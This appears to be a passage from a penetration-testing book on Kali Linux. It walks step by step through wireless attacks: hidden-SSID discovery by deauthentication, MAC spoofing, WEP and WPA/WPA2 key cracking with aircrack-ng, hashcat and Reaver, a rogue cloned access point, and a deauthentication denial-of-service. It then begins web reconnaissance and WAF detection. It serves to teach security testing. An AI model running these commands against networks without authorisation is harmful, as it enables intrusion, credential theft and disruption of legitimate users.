Before we can interact with any of these (potential) target networks, we have to
confirm that our wireless adapter is capable of packet injection. To do this, run the
following command from a terminal shell prompt:
[email protected]:~# aireplay-ng -9 mon0
The execution of the previous command is shown in the following screenshot.
Here -9 indicates an injection test.
One of the most important tools for wireless reconnaissance is Kismet, an 802.11
wireless detector, sniffer, and intrusion detection system.
Kismet can be used to gather the following information:
• Name of the wireless network, ESSID
• Channel of the wireless network
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• The MAC address of the access point, BSSID
• The MAC address of the wireless clients
It can also be used to sniff data from 802.11a, 802.11b, 802.11g, and 802.11n wireless
traffic. Kismet also supports plugins that allow it to sniff other wireless protocols.
To launch Kismet, enter kismet from a command prompt in a terminal window.
When Kismet is launched, you will be faced with a series of questions that will allow
you to configure it during the start up process. Respond with Yes to Can you see
colors, accept Kismet is running as root, and select Yes to Start Kismet Server. In
the Kismet start up options, uncheck Show Console as it will obscure the screen.
Allow Kismet to start.
You will be prompted to add a capture interface; usually, wlan0 will be selected.
Kismet will then start sniffing packets and collecting information about all the
wireless systems located in the immediate physical neighborhood.
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Selecting a network by double-clicking on it will bring you to a network view that
provides additional information on the wireless network.
You can also drill down to identify specific clients that connect to the various
wireless networks.
Use Kismet as an initial reconnaissance tool to launch some specific attacks (such
as sniffing-transmitted data) or to identify networks. Because it passively collects
connectivity data, it is an excellent tool for identifying networks that are hidden,
especially when the SSID is not being publicly transmitted.
Bypassing a Hidden Service Set Identifier
ESSID is the sequence of characters that uniquely identify a wireless local area
network. Hiding the ESSID is a poor method of attempting to achieve security
through obscurity; unfortunately, the ESSID can be obtained by:
• Sniffing the wireless environment and waiting for a client to associate to a
network and then capturing that association
• Actively deauthenticating a client to force the client to associate and then
capturing that association
The aircrack tools are particularly well suited to capture the data needed to unhide
a hidden ESSID, as shown in the following steps:
1. At the command prompt, confirm that wireless is enabled on the attacking
system by entering the following command:
[email protected]:~# airmon-ng
2. Next, use the following ifconfig command to review the available
interfaces and to determine the exact name used by your wireless system:
[email protected]:~# ifconfig
3. Enable your wireless interface by entering the following (you may need to
replace wlan0 with an available wireless interface that was identified in the
previous step):
[email protected]:~# airmon-ng start wlan0
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4. If you reconfirm with ifconfig, you will see that there is now a monitoring
or mon0 address in use. Now, use airodump to confirm the available wireless
networks, as given in the following command:
[email protected]:~# airodump-ng mon0
As you can see, the first network's ESSID is identified only as <length: 9>. No other
name or designation is used. The length of the hidden ESSID is identified as being
composed of nine characters; however, this value may not be correct because the ESSID
is hidden. The true ESSID length may actually be shorter or longer than nine characters.
What is important is that there may be clients attached to this particular network.
If clients are present, we will deauthenticate the client, forcing them to send the
ESSID when they reconnect to the access point.
Rerun airodump, and filter out everything but the target access point. In this
particular case, we will focus on collecting data from the hidden network on
channel six using the following command:
[email protected]:~# airodump-ng -c 6 mon0
Executing the command removes the output from the multiple wireless sources, and
allows the attacker to focus on the target ESSID, as shown in the following screenshot:
The data that we get when the airodump command is executed indicates that there
is one station (00:0E:2E:CF:8C:7C) connected to the BSSID (00:18:39:D5:5D:61)
which is in turn associated with the hidden ESSID.
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To capture the ESSID as it is being transmitted, we have to create a condition where
we know it will be sent—during the initial stage of the connection between a client
and the access point.
Therefore, we will launch a deauthentication attack against both the client and the
access point by sending a stream of packets that breaks the connection between them
and forces them to reauthenticate.
To launch the attack, open a new command shell and enter the command as shown
in the following screenshot (0 indicates that we are launching a deauthentication
attack, 10 indicates that we will send 10 deauthentication packets, -a is the target
access point, and c is the client's MAC address):
After all the deauthentication packets have been sent, return to the original window
that monitors the network connection on channel six, as shown in the following
screenshot. You will now see the ESSID in the clear.
Knowing the ESSID helps an attacker to confirm that they are focused on the correct
network (because most ESSIDs are based on the corporate identity) and facilitates the
logon process.
Bypassing the MAC address
The Media Access Control (MAC) address uniquely identifies each node in a
network. It takes the form of six pairs of hexadecimal digits (0 to 9 and the letters
A to F) that are separated by colons or dashes and usually appears like this:
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The MAC address is usually associated with a network adaptor or a device with
networking capability; for this reason, it's frequently called the physical address.
The first three pairs of digits in the MAC address are called the Organizational
Unique Identifier, and they serve to identify the company that manufactured or
sold the device. The last three pairs of digits are specific to the device and can be
considered to be a serial number.
Because a MAC address is unique, it can be used to associate a user to a particular
network, especially a wireless network. This has two significant implications—it can
be used to identify a hacker or a legitimate network tester who has tried to access a
network, and it can be used as a means of authenticating individuals and granting
them access to a network.
During penetration testing, the tester may prefer to appear anonymous to a network.
One way to support this anonymous profile is to change the MAC address of the
attacking system.
This can be done manually using the ifconfig command. To determine the existing
MAC address, run the following from a command shell:
[email protected]:~# ifconfig wlan0 down
[email protected]:~# ifconfig wlan0 | grep HW
To manually change the IP address, use the following commands:
[email protected]:~# ifconfig wlan0 hw ether 38:33:15:xx:xx:xx
[email protected]:~# ifconfig wlan0 up
Substitute different hexadecimal pairs for the "xx" expressions. This command will
allow us to change the attacking system's MAC address to one that is used is accepted
by the victim network. The attacker must ensure that the MAC address is not already
in use on the network, or the repeated MAC address may trigger an alarm if the
network is monitored.
The wireless interface must be brought down before
changing the MAC address.
Kali also permits the use of an automated tool, macchanger. To change the attacker's
MAC address to a MAC address of a product produced by the same vendor, use the
following macchanger command from a terminal window:
[email protected]:~# macchanger wlan0 -e
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To change the existing MAC address to a completely random MAC address, use the
following command:
[email protected]:~# macchanger wlan0 -r
Some attackers use automated scripts to change their MAC addresses on a frequent
basis during testing to anonymize their activities.
Many organizations, particularly large academic groups such as colleges and
universities, use MAC address filtering to control who can access their wireless
network resources. MAC address filtering uses the unique MAC address on the
network card to control access to network resources; in a typical configuration,
the organization maintains a whitelist of the MAC addresses that are permitted
to access the network. If an incoming MAC address is not on the approved access
list, it is restricted from connecting to the network.
Unfortunately, MAC address information is transmitted in the clear. An attacker
can use airodump to collect a list of accepted MAC addresses and then manually
change their MAC address to one of the addresses that is accepted by the target
network. Therefore, this type of filtering provides almost no real protection to a
wireless network.
The next level of wireless network protection is provided using encryption.
Compromising a WEP encryption
Wireless Equivalent Privacy (WEP) originated in 1999 as a means of providing
a degree of confidentiality to 802.11 wireless networks that was comparable to
what was available on a wired network. Multiple flaws were quickly discovered
in its implementation of cryptography, and by 2004 it was superseded by the WiFi
Protected Access (WPA) protocol.
WEP remains in use today, particularly in the older networks
that can't support the resource requirements of the new wireless
routers. In a recent wireless survey of a major metropolitan
centre, almost 25 percent of the encrypted wireless networks
continued to use WEP. Many of these networks were associated
with financial companies.
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One of primary flaws of WEP was first identified in the reuse of the initialization
vector (IV). WEP relies on the RC4 encryption algorithm, which is a stream
cipher—the same encryption key cannot be repeated. IVs were introduced to
guard against key reuse by introducing an element of randomness into the
encrypted data. Unfortunately, the 24-bit IV is too short to prevent repetition;
furthermore, there is a 50 percent probability that the same IV will repeat after
only 5,000 packets have been transmitted.
An attacker can eavesdrop or intercept WEP-encrypted traffic. Depending on the
number of intercepted packets available for inspection, key recovery can occur quickly.
In practice, most WEP keys can be recovered, or cracked, within three minutes.
To make WEP cracking work, you will also need to know the following information
about the target:
• The name of the wireless network or ESSID
• The MAC address of the access point, BSSID
• The wireless channel used
• A MAC address of the wireless client
The most common attack against WEP can be done by performing the
following steps:
1. First, identify the available wireless network interfaces using the
following command:
[email protected]:~# airmon-ng
2. Stop the interface to change the MAC address to the address that is being
used by an existing client already associated with the target network.
You can also use macchanger for this step. When the MAC address has
been changed, restart airmon-ng. Use the following commands to perform
these steps:
[email protected]:~# airmon-ng stop
[email protected]:~# ifconfig wlan0 down
[email protected]:~# ifconfig wlan0 hw ether (mac address)
[email protected]:~# airmon-ng start wlan0
Using a known and accepted MAC address simplifies the attack. However,
this is not always the case. This attack assumes that you do not know the
MAC address. Instead, we will make a fake association with the network.
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3. Use the following airodump command to locate the target wireless network:
[email protected]:~# airodump-ng wlan0
When airodump locates the target, press Ctrl + C to stop the search. Copy the
MAC address in the BSSID, and note the channel. When airodump locates the
target, press Ctrl + C to stop the search. Copy the MAC address in the BSSID,
and note the channel; in the example shown in the following screenshot, the
target network dd_wep is operating on channel six at a speed of 11 MB.
4. Start airodump-ng to sniff wireless traffic and collect IVs using the following
command, where --bssid allows us to select the target's BSSID, -c indicates
the channel, and -w allows us to write the name of the output file (wep_out):
[email protected]:~# airodump-ng --bssid 00:06:25:9A:A9:C6 -c 6 -w
wep_out wlan0
5. Now we have to increase the number of transmitted IV packets. Open a
second terminal window (do not close the first) and enter the following
command to fake an authentication to the targeted wireless access point:
[email protected]:~# aireplay-ng -1 0 -a 00:06:25:9A:A9:C6 -h
00:11:22:33:44:55 -e dd_wep wlan0
Here,-1 signals a fake authentication and 0 is the reassociation timing in
seconds (a setting of 0 might alert the defender, so an attacker might set it to
30 or even higher).
6. With the fake authentication in place, we will generate traffic that appears
to come from a trusted MAC address and route it to the target wireless
access point.
[email protected]:~# aireplay-ng -3
00:11:22:33:44:55 wlan0
-b 00:06:25:9A:A9:C6 -h
This attack is known as an ARP injection or ARP replay attack. Normally,
the target access point will rebroadcast the ARP packets and generate a new
IV each time; therefore, this is a quick way to cultivate the necessary IVs.
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The execution of the previous command is shown in the
following screenshot:
7. Let's generate some additional packets while the ARP injection continues.
Open another terminal window, and start an interactive packet replay attack
by entering the following command:
[email protected]:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF
- b (mac address) -h (mac address) wlan0
Here, -2 indicates that we are using an interactive replay attack, -p 0841
sets the Frame Control field of the packet to make it appear as if it is being
sent from a wireless client, -c FF:FF:FF:FF:FF:FF sets the destination
(in this case, the FF notation sends the packet to all the hosts on the network),
-b is the MAC address of the BSSID, and -h is the MAC address of the
packets being transmitted that should match the tester's MAC address.
The execution of the previous command is shown in the
following screenshot:
8. Another technique to make the network appear busy is to open multiple
command shells on the attacking system, and enter the following command
replacing (IP address) with the target's IP address:
[email protected]:~# ping -T -L 6500 (IP address)
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9. After enough packets have been collected and saved, the following
aircrack-ng command can be used to crack the WEP key, where -a 1
forces the attack mode to be static WEP, -b is the BSSID, and dd_wep.cap is
the capture file containing the captured IVs.
[email protected]:~# aircrack-ng -a 1 -b 00:06:25:9A:A9:C6 -n 64
As you can see in the following screenshot, the attack was successful, and the key
was identified. (Although it appears as a hexadecimal number, you can simply enter
it to log onto the WEP network.)
Although this demonstration focused on a 64-bit key, longer keys do not take
significantly more time to crack once you have harvested the IVs from the access point.
The aircrack-ng suite of tools is the "gold standard" and provides the most reliable
and effective way to gain access. However, Kali comes with several other tools that
can assist you in compromising encrypted wireless networks.
One of these is the Fern WiFi Cracker, which is a Python GUI that incorporates
aircrack-ng. It can automatically scan for wireless networks and identify WEP,
WPA, and WPA2 networks. Once the networks are identified, an attacker can take
advantage of several features, including the following:
• WEP cracking using a variety of attacks, including fragmentation, Chop
Chop, Caffe Latte, Hirte, ARP request replay, or WPS attack
• WPA and WPA2 cracking using dictionary or WPS-based attacks
• Automatic saving of the key in a database following a successful crack
• Internal man-in-the-middle engine supports session hijacking
• Brute-force attacks against HTTP, HTTPS, Telnet, and FTP
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The interface of Fern is very clean, and the setup directs the user to select the
interface and scan for an access point. It will report the access points for WEP
and WPA/WPA2; from this point onwards, it is just a matter of clicking on the
appropriate button to launch the attack. The initial launch screen for Fern is shown
in the following screenshot:
Although Fern is an excellent tool, most testers do not rely on it exclusively—if there
is a failure to identify a key or gain access to a network, the reason for this failure can
remain hidden behind the GUI, making troubleshooting difficult.
A similar application is the Wifite wireless auditor, which presents a text-based
interface to support testing. It has proven to be very effective during field testing,
and it takes advantage of features that include the following:
• Wifite supports anonymity by changing the attacker's MAC address to a
random MAC address before attacking and then changing it back when all
the attacks are complete
• It sorts targets by signal strength (in dB) to crack the closest access points first
• It automatically deauthenticates clients of hidden networks to reveal
the SSIDs
• It supports multiple attack types
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In the example shown in the following screenshot, a single target, dd_wep, was
selected for attack. No other interaction with the application was required; it
completed the full compromise and saved the cracked key to a database by itself.
Although the vulnerability of the deprecated WEP is well known and has been
proven by some basic tools available on Kali, how well does the stronger WPA
encryption protocol stand up to attack?
Attacking WPA and WPA2
WiFi Protected Access (WPA) and WiFi Protected Access 2 (WPA2) are wireless
security protocols that were intended to address the security shortcomings of
WEP. Because the WPA protocols dynamically generate a new key for each packet,
they prevent the statistical analysis that caused WEP to fail. Nevertheless, they are
vulnerable to some attack techniques.
WPA and WPA2 are frequently deployed with a pre-shared key (PSK) to secure
communications between the access point and the wireless clients. The PSK should
be a random passphrase of at least 13 characters in length; if not, it is possible to
determine the PSK using a brute-force attack by comparing the PSK to a known
dictionary. This is the most common attack. (Note that if configured in the Enterprise
mode, which provides authentication using a RADIUS authentication server, WPA is
"unbreakable" from our perspective!)
Brute-force attacks
Unlike WEP, which can be broken using a statistical analysis of a large number of
packets, WPA decryption requires the attacker to create specific packet types that
reveal details, such as the handshake between the access point and the client.
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To attack a WPA transmission, the following steps should be performed:
1. Start the wireless adaptor and use the ifconfig command to ensure that the
monitor interface is created.
2. Use airodump-ng –wlan0 to identify the target network.
3. Start capturing traffic between the target access point and the client using the
following command:
[email protected]:~# airodump-ng --bssid 28:10:7B:61:20:32 -c 11
--showack -w dd_wpa2 wlan0
Set -c to monitor a specific channel, the --showack flag to ensure that the
client computer acknowledges your request to deauthenticate it from the
wireless access point, and -w to write the output to a file for a dictionary attack
later. A typical output from this attack is shown in the following screenshot:
4. Leave this terminal window open, and open a second terminal window to
launch a deauthentication attack; this will force a user to reauthenticate to
the target access point and re-exchange the WPA key. The deauthentication
attack command is shown as follows:
[email protected]:~# aireplay-ng -0 10 –a 28:10:7B:61:20:32
-c 00:1D:60:7D:55:5A wlan0
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The execution of the previous command is shown in the following screenshot:
A successful deauthentication attack will show ACKs, which indicate that the
client who was connected to the target access point has acknowledged the
deauthentication command that was just sent.
5. Review the original command shell that was kept open to monitor the
wireless transmission, and ensure that you capture the 4-way handshake.
A successful WPA handshake will be identified in the top-right hand
corner of the console . In the following example, the data indicates the
WPA handshake value is 28:10:7B:61:20:32:
6. Use aircrack to crack the WPA key using a defined wordlist. The filename
defined by the attacker for collecting handshake data will be located in the
root directory, and the -01.cap extension will be appended to it.
In Kali, wordlists are located in the /usr/share/wordlists directory.
Although several wordlists are available, it is recommended that you
download lists that will be more effective in breaking common passwords.
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In the previous example, the key was preplaced in the password list. Undertaking a
dictionary attack for a long, complex password can take several hours depending on
the system configuration. The following command uses words as the source wordlist.
[email protected]:~# aircrack-ng wpa-01.cap /usr/share/wordlists
The following screenshot shows the results from a successful cracking of the WPA key;
the key to the network gaffer was found to be princessmouse after testing 44 keys.
If you don't have a custom password list at hand or wish to rapidly generate a list,
you can use the crunch application in Kali. The following command instructs crunch
to create a wordlist of words with a minimum length of 5 characters and a maximum
length of 25 characters using the given character set:
[email protected]:~# crunch 05 25
YZ0123456789 | aircrack-ng --bssid (MAC address)
-w capture-01.cap
You can also improve the effectiveness of the brute-force attack using GPU-based
password cracking tools (oclHashcat for AMD/ATI graphics cards and cudaHashcat
for NVIDIA graphics cards).
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To implement this attack, first convert the WPA handshake capture file, psk-01.cap
to a hashcat file using the following command:
[email protected]:~# aircrack-ng psk-01.cap -J <output file>
When the conversion is completed, run the hashcat against the new capture file
(choose the version of hashcat that matches your CPU architecture and your graphics
card) using the following command:
[email protected]:~# cudaHashcat-plus32.bin -m 2500 <filename>.hccap
Attacking wireless routers with Reaver
WPA and WPA2 are also vulnerable to attacks against an access point's Wi-Fi
Protected Setup, WPS, and pin number.
Most access points support the Wi-Fi Protected Setup (WPS) protocol, which
emerged as a standard in 2006 to allow users to easily set up and configure access
points and add new devices to an existing network without having to re-enter large
and complex passphrases.
Unfortunately, the pin is an 8-digit number (100,000,000 possible guesses), but the
last number is a checksum value. Because the WPS authentication protocol cuts the
pin in half and validates each half separately, it means that there are 104 (10,000)
values for the first half of the pin, and 103 (1,000) possible values for the second
half—the attacker only has to make a maximum of 11,000 guesses to compromise
the access point!
Reaver is a tool designed to maximize the guessing process (although Wifite also
conducts WPS guesses).
To start a Reaver attack, use a companion tool called wash to identify any vulnerable
networks as given in the following command:
[email protected]:~# wash -i wlan0 --ignore-fcs
If there are any vulnerable networks, launch an attack against them using the
following command:
[email protected]:~# reaver -i wlan0 -b (BBSID) -vv
Testing this attack in Kali has demonstrated that the attack is slow and is prone to
failure; however, it can be used as a background attack or can supplement other
routes of attack to compromise the WPA network.
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Cloning an access point
One of the more interesting attacks against wireless networks relies on cloning the
access point and then monitoring the information that is transmitted when users
attempt to connect to it. An attacker can not only gain access to authentication
credentials but can also employ a man-in-the-middle attack to intercept or redirect
network traffic.
Several tools included in Kali claim to support cloning or producing a rogue access
point; however, at this time there are shortcomings in these tools. For example, the
Social Engineering Toolkit and Websploit do not integrate with the DHCP server that
comes preinstalled in Kali.
Most attackers look for external tools, including scripts such as Gerix, or easy-creds;
however, the aircrack-ng suite also includes a tool. airbase-ng, for cloning
access points.
To make a fake wireless access point, an attacker will:
1. Start wlan0 in monitor mode, which will create a mon0 interface for
monitoring, using the following command:
[email protected]:~# airmon-ng start wlan0
2. Set up the access point (AP) on mon0 using the following command. Social
engineering can have a significant impact on the success of the AP, so use
a name that will attract the target clients. For this example, we will use a
generic name of an open Wi-Fi network. It will be established on the WiFi
channel six:
[email protected]:~# airbase-ng --essid Customer_Network
-c 6 mon0
3. Install the bridge utilities using the following command:
apt-get install bridge-utils
4. In another terminal window, create a bridge (rogue) and link at0 (the at0
interface is created by the previous command) to eth0 using the bridge
utilities (note that bridge utilities must first be installed using apt-get
install bridge-utils).
[email protected]:~# brctl addbr rogue
[email protected]:~# brctl addif rogue at0
[email protected]:~# brctl addif rogue eth0
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Because the two interfaces are integrated into the virtual bridge, you can
release their IP addresses using the following commands:
[email protected]:~# ifconfig at0 down
[email protected]:~# ifconfig at up
[email protected]:~# ifconfig eth0 down
[email protected]:~# ifconfig eth0 up
5. Enable IP forwarding across the bridge using the following command:
[email protected]:~# echo 1 > /proc/sys/net/ipv4/ip_forward
6. Configure the bridge with an IP address of the LAN where it connects to
eth0 using the following commands:
[email protected]:~# ifconfig rogue 10.1.x.y netmask broadcast 10.1.x.255 up
[email protected]:~# route add default gw 10.1.x.1
7. Start the AP to sniff authentication handshakes using the
following command:
airbase-ng -c 6 -e --ESSID /file_path/file.cap wlan0
Denial-of-service attacks
The final attack against wireless networks that we'll evaluate is the denial-of-service
attack, where an attacker deprives a legitimate user of access to a wireless network
or makes the network unavailable by causing it to crash. Wireless networks are
extremely susceptible to DoS attacks, and it is difficult to localize the attacker on
a distributed wireless network. Examples of DoS attacks include the following:
• Injecting crafted network commands, such as reconfiguration commands,
onto a wireless network can cause a failure of routers, switches, and other
network devices.
• Some devices and applications can recognize that an attack is taking place
and will automatically respond by disabling the network. A malicious
attacker can launch an obvious attack and then let the target create the
DoS itself!
• Bombarding the wireless network with a flood of data packets can make it
unavailable for use; for example, an HTTP flood attack making thousands of
page requests to a web server can exhaust its processing ability. In the same
way, flooding the network with authentication and association packets blocks
users from connecting to the access points.
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• Attackers can craft specific deauthentication and disassociation commands,
which are used in wireless networks to close an authorized connection
and to flood the network and stop legitimate users from maintaining their
connection to a wireless access point.
To demonstrate this last point, we will create a denial-of-service attack by flooding
a network with deauthentication packets. Because the wireless 802.11 protocol is
built to support deauthentication upon the receipt of a defined packet (so that a
user can break a connection when it is no longer required), this can be a devastating
attack—it complies with the standard, and there is no way to stop it from happening.
The easiest way to "bump" a legitimate user off a network is to target them with a
stream of deauthentication packets. This can be done with the help of the aircrackng tool suite using the following command:
[email protected]:~# aireplay-ng -0 0 -a (bssid) -c wlan0
This command identifies the attack type as -0, indicating that it is for a
deauthentication attack. The second 0 (zero) launches a continuous stream of
deauthentication packets, making the network unavailable to its users.
The Websploit framework is an open source tool used to scan and analyze remote
systems. It contains several tools, including tools that are specific to wireless attacks.
To launch it, open a command shell and simply type websploit.
The Websploit interface is similar to that of recon-ng and the Metasploit Framework,
and it presents the user with a modular interface.
Once launched, use the show modules command to see the attack modules present
in the existing version. Select the WiFi jammer (a stream of deauthentication packets)
using the use wifi/wifi_jammer command. As shown in the following screenshot,
the attacker just has to use the set commands to set the various options and then
select run to launch the attack.
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In this chapter, we examined several management tasks required for a successful
attack against a wireless network, including the selection of the wireless adaptor,
configuration of the wireless modem, and reconnaissance using tools such as
aircrack-ng Kismet. We focused on using the aircrack-ng suite of tools to identify
hidden networks, bypass MAC authentication, and compromise WEP and WPA/
WPA2 encryption. We also saw how to clone, or copy, a wireless access point, and
how to perform a denial-of-service attack against a wireless network.
The next chapter, will focus on how attackers target a website and its services.
We'll examine the tools used for reconnaissance, especially client-side proxies
and vulnerability scanners. We'll see how attackers take advantage of these
vulnerabilities with automated tools, such as exploit frameworks and online
password cracking. More importantly, we'll examine some discrete attacks that
usually require manual intervention, such as injection attacks and cross-site
scripting. Finally, we'll look at the peculiarities of online services and why and how
they're vulnerable to the DoS attacks.
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Exploitation of Web-based
In the previous chapters, we reviewed the attacker's kill chain—the specific
approach used to compromise networks and devices, and disclose data or hinder
access to network resources. In Chapter 7, Physical Attacks and Social Engineering, we
examined the routes of attack, starting with physical attacks and social engineering.
In Chapter 8, Exploiting Wireless Communications, we saw how wireless networks could
be compromised. In this chapter, we'll focus on one of the most common attack routes,
through websites and web-based applications.
Websites that deliver content and web-based services (for example, e-mails and FTP)
are ubiquitous, and most organizations allow remote access to these services
with almost constant availability. To penetration testers and attackers, however,
websites expose back-end services occurring on the network, client-side activities
of the users accessing the website, and the connection between users and the
website's data frequent attacks. This chapter will focus on the attacker's perspective
of websites and web services, and we will review attacks against connectivity in
Chapter 10, Exploiting Remote Access Communications and client-side attacks in
Chapter 11, Client-side Exploitation.
Reconnaissance and Exploitation of Web-based Applications
By the end of this chapter, you will have learned the following:
• Extending the principles of reconnaissance to web services
• Vulnerability scanning
• Using client-side proxies
• Exploiting vulnerabilities in web services
• Maintaining access to compromised systems with web backdoors
For many exercises, we'll use NOWASP or Mutillidae as a target
website that contains known vulnerabilities that can be exploited;
it can be downloaded from
Category:OWASP_Mutillidae. This web application can be installed
directly onto Linux or Windows using LAMP, WAMP, and XAMPP.
It is also preinstalled on the SamauraiWTF and Metasploitable testing
environments. Refer to the Appendix, Installing Kali Linux for instructions
on creating a Metasploitable test environment.
Conducting reconnaissance of websites
Websites, and the delivery of services from those sites, are particularly complex.
Typically, services are delivered to the end user using a multi-tiered architecture
with web servers that are accessible to the public Internet, while communicating with
back-end servers and databases located on the network.
The complexity is increased by several additional factors that must be taken into
account during testing, which include the following:
• Network architecture, including security controls (firewalls, IDS/IPS, and
honeypots), and configurations such as load balancing
• Platform architecture (hardware, operating system, and additional
applications) of systems that host web services
• Applications, middleware, and final-tier databases, which may employ
different platforms (Unix or Windows), vendors, programming languages,
and a mix of commercial and proprietary software
• Authentication and authorization processes, including the process for
maintaining the session state across the application
• The underlying business logic that governs how the application will be used
• Client-side interactions and communications with the web service
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Given the proven complexity of web services, it is important for a penetration tester
to be adaptable to each site's specific architecture and service parameters. At the
same time, the testing process must be applied consistently and ensure that nothing
is missed. Several methodologies have been proposed to accomplish these goals. The
most widely accepted one is the Open Web Application Security Project (OWASP)
( and its list of the top 10 vulnerabilities.
As a minimum standard, OWASP has provided a strong direction to testers. However,
focusing on only the top 10 vulnerabilities is short-sighted, and the methodology has
demonstrated some gaps, particularly when applied to finding vulnerabilities in the
logic of how an application should work to support business practices.
Using the kill chain approach, some activities specific to web service reconnaissance
to be highlighted include the following:
• Identifying the target site, especially with regards to where and how
it is hosted.
• Enumerating the site directory structure and files of the target website,
including determining if a content management system (CMS) is in use.
This may include downloading the website for offline analysis, including
document metadata analysis, and using the site to create a custom wordlist
for password cracking (using a program such as crunch). It also ensures that
all support files are also identified.
• Identifying the authentication and authorization mechanisms and
determining how the session state is maintained during a transaction
with that web service. This will usually involve an analysis of cookies and
how they are used.
• Enumerating all forms. As these are the primary means for a client to
input data and interact with the web service, these are the specific locations
for several exploitable vulnerabilities, such as SQL injection attacks and
cross-site scripting.
• Identifying other areas that accept input, such as pages that allow for
file upload as well as any restrictions on accepted upload types.
• Identifying how errors are handled, and the actual error messages
that are received by a user; frequently, the error will provide valuable
internal information such as version of software used, or internal file
names and processes.
• Determining which pages require and maintain Secure Sockets
Layer or other secure protocols (refer to Chapter 10, Exploiting Remote
Access Communications).
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The first step is to conduct the passive and active reconnaissance previously
described (refer to Chapter 2, Identifying the Target – Passive Reconnaissance and
Chapter 3, Active Reconnaissance and Vulnerability Scanning); in particular, ensure that
hosted sites are identified, and then use DNS mapping to identify all the hosted sites
that are delivered by the same server (one of the most common and successful means
of attack is to attack a non-target site hosted on the same physical server as the
target website, exploit weaknesses in the server to gain root access, and then use the
escalated privileges to attack the targeted site).
The next step is to identify the presence of network-based protective devices, such as
firewalls, IDS/IPS, and honeypots. An increasingly common protective device is the
Web Application Firewall (WAF).
If a WAF is being used, testers will have to ensure that the attacks, especially those
that rely on crafted input, are encoded to bypass the WAF.
WAFs can be identified by manually inspecting cookies (some WAFs tag or modify
the cookies that are communicated between the web server and the client), or by
changes to the header information (identified when a tester connects to port 80 using
a command line tool such as Telnet).
The process of WAF detection can be automated using the nmap script,
http-waf-detect.nse, as shown in the following screenshot:
The nmap script identifies that a WAF is present; however, testing of the script has
demonstrated that it is not always accurate in its findings, and that the returned data
may be too general to guide an effective strategy to bypass the firewall.
The wafw00f script is an automated tool to identify and fingerprint web-based
firewalls; testing has determined that it is the most accurate tool for this purpose.
The script is easy to invoke from Kali, and ample output is shown in the
following screenshot:
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Load balancing detector (lbd) is a bash shell script that determines if a given
domain uses DNS and/or HTTP load balancing. This is important information
from the perspective of a tester, as it can explain seemingly anomalous results
that occur when one server is tested, and then the load balancer switches requests
to a different server. Lbd uses a variety of checks to identify the presence of load
balancing; a. A sample output is shown in the following screenshot:
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The website should be inspected to determine the CMS that may be used to build
and maintain it. CMS applications such as Drupal, Joomla, and WordPress, among
others, may be configured with a vulnerable administrative interface that allows
access to the elevated privileges, or may contain exploitable vulnerabilities.
Kali includes an automated scanner, BlindElephant, which fingerprints a
CMS to determine version information. A sample output is shown in the
following screenshot:
BlindElephant reviews the fingerprint for components of the CMS and then provides
a best guess for the versions that are present. However, like other applications, we
have found that it may fail to detect a CMS that is present; therefore, always verify
results against other scanners that crawl the website for specific directories and files,
or manually inspect the site.
One particular scanning tool, automated web crawlers, can be used to validate
information that has already been gathered, as well as determine the existing
directory and file structure of a particular site. Typical findings of web crawlers
include administration portals, configuration files (current and previous versions)
that may contain hardcoded access credentials and information on the internal
structure, backup copies of the website, administrator notes, confidential personal
information, and source code.
Kali supports several web crawlers, including Burp Suite, DirBuster, OWASP-ZAP,
Vega, WebScarab, and WebSlayer. The most commonly used tool is DirBuster.
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DirBuster is a GUI-driven application that uses a list of possible directories and
files to perform a brute-force analysis of a website's structure. Responses can be
viewed in a list or a tree format that reflects the site's structure more accurately.
Output from executing this application against a target website is shown in the
following screenshot:
It is also possible to copy a website directly to the tester's location. This "website
cloning" allows a tester the leisure to review the directory structure and its
contents, extract metadata from local files, and use the site's contents as an input to
a program such as crunch, which will produce a personalized wordlist to support
password cracking.
To clone a website to a local system, use HTTrack. If it is not present in Kali, it can
be downloaded using the apt-get command and then executed by typing httrack
in the command prompt. You will be prompted to select a directory location to store
the downloaded website. Once the program has executed, you will have a backup of
the target website.
Once you have mapped out the basic structure of the website and/or web
services that are being delivered, the next stage of the kill chain is to identify
the vulnerabilities that can be exploited.
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Vulnerability scanners
Scanning for vulnerabilities using automated tools can be problematic. Web
vulnerability scanners suffer the common shortcomings of all scanners (a scanner
can only detect the signature of a known vulnerability; they cannot determine if
the vulnerability can actually be exploited; there is a high incidence of false-positive
reports). Furthermore, web vulnerability scanners cannot identify complex errors in
business logic, and they do not accurately simulate the complex chained attacks used
by hackers.
In an effort to increase reliability, most penetration testers use multiple tools to scan
web services; when multiple tools report that a particular vulnerability may exist, this
consensus will direct the tester to areas that may require manually verify the findings.
Kali comes with an extensive number of vulnerability scanners for web services,
and provides a stable platform for installing new scanners and extending their
capabilities. This allows penetration testers to increase the effectiveness of testing by
selecting scanning tools that:
• Maximize the completeness (the total number of vulnerabilities that
are identified) and accuracy (the vulnerabilities that are real and not
false-positive results) of testing.
• Minimize the time required to obtain usable results.
• Minimize the negative impacts on the web services being tested. This can
include slowing down the system due to an increase of traffic throughput.
For example, one of the most common negative effects is a result of testing
forms that input data to a database and then e-mail an individual providing
an update of the change that has been made—uncontrolled testing of such
forms can result in more than 30,000 e-mails being sent!
There is significant complexity in choosing the most effective tool. In addition to the
factors already listed, some vulnerability scanners will also launch the appropriate
exploit and support the post-exploit activities. For our purposes, we will consider
all tools that scan for exploitable weaknesses to be "vulnerability scanners." Kali
provides access to several different vulnerability scanners, including the following:
• Scanners that extend the functionality of traditional vulnerability
scanners to include websites and associated services (Metasploit
Framework and Websploit)
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• Scanners that extend the functionality of non-traditional applications, such as
web browsers, to support web service vulnerability scanning (OWASP Mantra)
• Scanners that are specifically developed to support reconnaissance and
exploit detection in websites and web services (Arachnid, Nikto, Skipfish,
Vega, w3af, and so on)
Extending the functionality of traditional
vulnerability scanners
The best example of this type of vulnerability scanner is the wmap module that is
packaged with the Metasploit Framework of Rapid7. To use this module, you
must first ensure that the postgresql database service has been started; use the
following command:
[email protected]:~# service postgresql start
Next, launch msfconsole from a command prompt and enter the load wmap
command. Like most of the framework applications, typing help or -h in the
command prompt will display the commands that are available for use.
To manage the target sites, use the wmap_sites command. The –a option will add
the target's IP address to the application's database. The –l option provides a list of
the available sites to target for testing, as shown in the following screenshot:
With the target selected, the tester is now able to run the wmap modules using the
following command:
msf> wmap_run –e
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The execution of the previous command is shown in the following screenshot:
Executing this command may take some time to reach completion (it depends on the
number of pages in the website, as well as the site's structural complexity, as well as
how the selected modules operate to detect vulnerabilities).
The Metasploit Framework was not designed for the complexities of websites and
